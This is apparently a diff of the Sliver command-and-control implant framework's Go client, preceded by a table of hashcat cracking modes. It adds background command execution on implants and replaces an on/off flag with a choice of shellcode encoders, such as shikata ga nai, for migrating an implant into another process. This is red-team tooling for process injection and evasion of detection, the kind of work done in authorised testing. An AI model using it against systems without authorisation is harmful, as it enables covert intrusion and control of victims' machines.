4800: "iSCSI CHAP authentication, MD5(CHAP)",
4900: "sha1($salt.$pass.$salt)",
5000: "sha1(sha1($salt.$pass.$salt))",
5100: "Half MD5",
5200: "Password Safe v3",
5300: "IKE-PSK MD5",
5400: "IKE-PSK SHA1",
5500: "NetNTLMv1 / NetNTLMv1+ESS",
5600: "NetNTLMv2",
5700: "Cisco-IOS type 4 (SHA256)",
5800: "Samsung Android Password/PIN",
6000: "RIPEMD-160",
6100: "Whirlpool",
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
6300: "AIX {smd5}",
6400: "AIX {ssha256}",
6500: "AIX {ssha512}",
6600: "1Password, agilekeychain",
6700: "AIX {ssha1}",
6800: "LastPass + LastPass sniffed",
6900: "GOST R 34.11-94",
7000: "FortiGate (FortiOS)",
7100: "macOS v10.8+ (PBKDF2-SHA512)",
7200: "GRUB 2",
7300: "IPMI2 RAKP HMAC-SHA1",
7400: "sha256crypt $5$, SHA256 (Unix)",
7401: "MySQL $A$ (sha256crypt)",
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
7700: "SAP CODVN B (BCODE)",
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
7800: "SAP CODVN F/G (PASSCODE)",
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
7900: "Drupal7",
8000: "Sybase ASE",
8100: "Citrix NetScaler (SHA1)",
8200: "1Password, cloudkeychain",
8300: "DNSSEC (NSEC3)",
8400: "WBB3 (Woltlab Burning Board)",
8500: "RACF",
8600: "Lotus Notes/Domino 5",
8700: "Lotus Notes/Domino 6",
8800: "Android FDE <= 4.3",
8900: "scrypt",
9000: "Password Safe v2",
9100: "Lotus Notes/Domino 8",
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
9300: "Cisco-IOS $9$ (scrypt)",
9400: "MS Office 2007",
9500: "MS Office 2010",
9600: "MS Office 2013",
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
9900: "Radmin2",
10000: "Django (PBKDF2-SHA256)",
10100: "SipHash",
10200: "CRAM-MD5",
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
10600: "PDF 1.7 Level 3 (Acrobat 9)",
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
10800: "SHA2-384",
10810: "sha384($pass.$salt)",
10820: "sha384($salt.$pass)",
10830: "sha384(utf16le($pass).$salt)",
10840: "sha384($salt.utf16le($pass))",
10870: "sha384(utf16le($pass))",
10900: "PBKDF2-HMAC-SHA256",
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
11000: "PrestaShop",
11100: "PostgreSQL CRAM (MD5)",
11200: "MySQL CRAM (SHA1)",
11300: "Bitcoin/Litecoin wallet.dat",
11400: "SIP digest authentication (MD5)",
11500: "CRC32",
11600: "7-Zip",
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
11900: "PBKDF2-HMAC-MD5",
12000: "PBKDF2-HMAC-SHA1",
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
12100: "PBKDF2-HMAC-SHA512",
12200: "eCryptfs",
12300: "Oracle T: Type (Oracle 12+)",
12400: "BSDi Crypt, Extended DES",
12500: "RAR3-hp",
12600: "ColdFusion 10+",
12700: "Blockchain, My Wallet",
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
12900: "Android FDE (Samsung DEK)",
13000: "RAR5",
13100: "Kerberos 5, etype 23, TGS-REP",
13200: "AxCrypt 1",
13300: "AxCrypt 1 in-memory SHA1",
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
13500: "PeopleSoft PS_TOKEN",
13600: "WinZip",
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
13800: "Windows Phone 8+ PIN/password",
13900: "OpenCart",
14000: "DES (PT = $salt, key = $pass)",
14100: "3DES (PT = $salt, key = $pass)",
14400: "sha1(CX)",
14500: "Linux Kernel Crypto API (2.4)",
14600: "LUKS",
14700: "iTunes backup < 10.0",
14800: "iTunes backup >= 10.0",
14900: "Skip32 (PT = $salt, key = $pass)",
15000: "FileZilla Server >= 0.9.55",
15100: "Juniper/NetBSD sha1crypt",
15200: "Blockchain, My Wallet, V2",
15300: "DPAPI masterkey file v1 + local context",
15400: "ChaCha20",
15500: "JKS Java Key Store Private Keys (SHA1)",
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
15700: "Ethereum Wallet, SCRYPT",
15900: "DPAPI masterkey file v2 + Active Directory domain context",
16000: "Tripcode",
16100: "TACACS+",
16200: "Apple Secure Notes",
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
16400: "CRAM-MD5 Dovecot",
16500: "JWT (JSON Web Token)",
16600: "Electrum Wallet (Salt-Type 1-3)",
16700: "FileVault 2",
16800: "WPA-PMKID-PBKDF2",
16801: "WPA-PMKID-PMK",
16900: "Ansible Vault",
17200: "PKZIP (Compressed)",
17210: "PKZIP (Uncompressed)",
17220: "PKZIP (Compressed Multi-File)",
17225: "PKZIP (Mixed Multi-File)",
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
17300: "SHA3-224",
17400: "SHA3-256",
17500: "SHA3-384",
17600: "SHA3-512",
17700: "Keccak-224",
17800: "Keccak-256",
17900: "Keccak-384",
18000: "Keccak-512",
18100: "TOTP (HMAC-SHA1)",
18200: "Kerberos 5, etype 23, AS-REP",
18300: "Apple File System (APFS)",
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
18500: "sha1(md5(md5($pass)))",
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
18700: "Java Object hashCode()",
18800: "Blockchain, My Wallet, Second Password (SHA256)",
18900: "Android Backup",
19000: "QNX /etc/shadow (MD5)",
19100: "QNX /etc/shadow (SHA256)",
19200: "QNX /etc/shadow (SHA512)",
19300: "sha1($salt1.$pass.$salt2)",
19500: "Ruby on Rails Restful-Authentication",
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
19800: "Kerberos 5, etype 17, Pre-Auth",
19900: "Kerberos 5, etype 18, Pre-Auth",
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
20200: "Python passlib pbkdf2-sha512",
20300: "Python passlib pbkdf2-sha256",
20400: "Python passlib pbkdf2-sha1",
20500: "PKZIP Master Key",
20510: "PKZIP Master Key (6 byte optimization)",
20600: "Oracle Transportation Management (SHA256)",
20710: "sha256(sha256($pass).$salt)",
20711: "AuthMe sha256",
20720: "sha256($salt.sha256($pass))",
20800: "sha256(md5($pass))",
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
21100: "sha1(md5($pass.$salt))",
21200: "md5(sha1($salt).md5($pass))",
21300: "md5($salt.sha1($salt.$pass))",
21400: "sha256(sha256_bin($pass))",
21500: "SolarWinds Orion",
21501: "SolarWinds Orion v2",
21600: "Web2py pbkdf2-sha512",
21700: "Electrum Wallet (Salt-Type 4)",
21800: "Electrum Wallet (Salt-Type 5)",
22000: "WPA-PBKDF2-PMKID+EAPOL",
22001: "WPA-PMK-PMKID+EAPOL",
22100: "BitLocker",
22200: "Citrix NetScaler (SHA512)",
22300: "sha256($salt.$pass.$salt)",
22301: "Telegram Mobile App Passcode (SHA256)",
22400: "AES Crypt (SHA256)",
22500: "MultiBit Classic .key (MD5)",
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
22700: "MultiBit HD (scrypt)",
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
23001: "SecureZIP AES-128",
23002: "SecureZIP AES-192",
23003: "SecureZIP AES-256",
23100: "Apple Keychain",
23200: "XMPP SCRAM PBKDF2-SHA1",
23300: "Apple iWork",
23400: "Bitwarden",
23500: "AxCrypt 2 AES-128",
23600: "AxCrypt 2 AES-256",
23700: "RAR3-p (Uncompressed)",
23800: "RAR3-p (Compressed)",
23900: "BestCrypt v3 Volume Encryption",
24100: "MongoDB ServerKey SCRAM-SHA-1",
24200: "MongoDB ServerKey SCRAM-SHA-256",
24300: "sha1($salt.sha1($pass.$salt))",
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
24600: "SQLCipher",
24700: "Stuffit5",
24800: "Umbraco HMAC-SHA1",
24900: "Dahua Authentication MD5",
25300: "MS Office 2016 - SheetProtection",
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
25500: "Stargazer Stellar Wallet XLM",
25600: "bcrypt(md5($pass)) / bcryptmd5",
25700: "MurmurHash",
25800: "bcrypt(sha1($pass)) / bcryptsha1",
25900: "KNX IP Secure - Device Authentication Code",
26000: "Mozilla key3.db",
26100: "Mozilla key4.db",
26200: "OpenEdge Progress Encode",
26300: "FortiGate256 (FortiOS256)",
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
26500: "iPhone passcode (UID key + System Keybag)",
26600: "MetaMask Wallet",
99999: "Plaintext",
}
func hashcatHashTypeName(mode int32) (string, bool) {
name, ok := hashcatHashTypes[mode]
return name, ok
}
func humanizeHashRate(rate uint64) string {
const unit = 1000
if rate < unit {
return fmt.Sprintf("%d H/s", rate)
}
value := float64(rate)
exp := 0
for value >= unit && exp < 5 {
value /= unit
exp++
}
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
if exp == 0 {
return fmt.Sprintf("%d H/s", rate)
}
if exp > len(suffixes) {
exp = len(suffixes)
}
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
}
+20 -1
View File
@@ -4,6 +4,7 @@ import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -26,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("output", "o", true, "capture command output")
f.Bool("background", false, "start the process in the background and track it")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
@@ -44,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
executeChildrenCmd := &cobra.Command{
Use: consts.ExecuteChildrenStr,
Short: "List tracked background execute child processes",
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ExecuteChildrenCmd(cmd, con, args)
},
}
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
executeCmd.AddCommand(executeChildrenCmd)
executeAssemblyCmd := &cobra.Command{
Use: consts.ExecuteAssemblyStr,
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
@@ -171,11 +187,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.Uint32P("pid", "p", 0, "process id to migrate into")
f.StringP("process-name", "n", "", "name of the process to migrate into")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
msfCmd := &cobra.Command{
+106
View File
@@ -0,0 +1,106 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
ctrl := make(chan bool)
con.SpinUntil("Querying execute children ...", ctrl)
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if execChildren.Response != nil && execChildren.Response.Async {
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteChildren(execChildren, con)
})
con.PrintAsyncResponse(execChildren.Response)
return
}
PrintExecuteChildren(execChildren, con)
}
// PrintExecuteChildren - Render execute children output.
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
if execChildren == nil || len(execChildren.Children) == 0 {
con.PrintInfof("No tracked background execute children\n")
return
}
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
sort.Slice(children, func(i, j int) bool {
return children[i].StartTime < children[j].StartTime
})
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
for _, child := range children {
state := "running"
exitCode := "-"
if child.Exited {
state = "exited"
exitCode = fmt.Sprintf("%d", child.ExitCode)
}
started := "-"
if child.StartTime != 0 {
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
}
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
}
con.Printf("%s\n", tw.Render())
}
+26 -6
View File
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
background, _ := cmd.Flags().GetBool("background")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
saveLoot, _ := cmd.Flags().GetBool("loot")
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
}
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := output || saveLoot || saveOutput
if background && (saveLoot || saveOutput) {
con.PrintErrorf("The loot and save options are not supported with --background\n")
return
}
if output && beacon != nil {
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := !background && (output || saveLoot || saveOutput)
if captureOutput && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
EnvInheritance: envInheritance,
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
stderr, _ := cmd.Flags().GetString("stderr")
output, _ := cmd.Flags().GetBool("output")
background := false
if cmd.Flags().Lookup("background") != nil {
background, _ = cmd.Flags().GetBool("background")
}
if background {
// Background execution never returns inline output.
output = false
}
if !output {
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
if exec.Pid != 0 {
if background {
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
return
}
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
} else {
con.PrintErrorf("Exit code %d\n", exec.Status)
con.PrintInfof("Process started\n")
}
return
}
+131 -3
View File
@@ -20,14 +20,19 @@ package exec
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// MigrateCmd - Windows only, inject an implant into another process
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
implantName = beacon.Name
}
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
encoder = clientpb.ShellcodeEncoder_NONE
targetArch := config.GetGOARCH()
if session != nil && session.Arch != "" {
targetArch = session.Arch
} else if beacon != nil && beacon.Arch != "" {
targetArch = beacon.Arch
}
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl := make(chan bool)
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
}
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
+45 -11
View File
@@ -3,6 +3,7 @@ package generate
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -142,12 +143,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "directory/file to the binary to")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
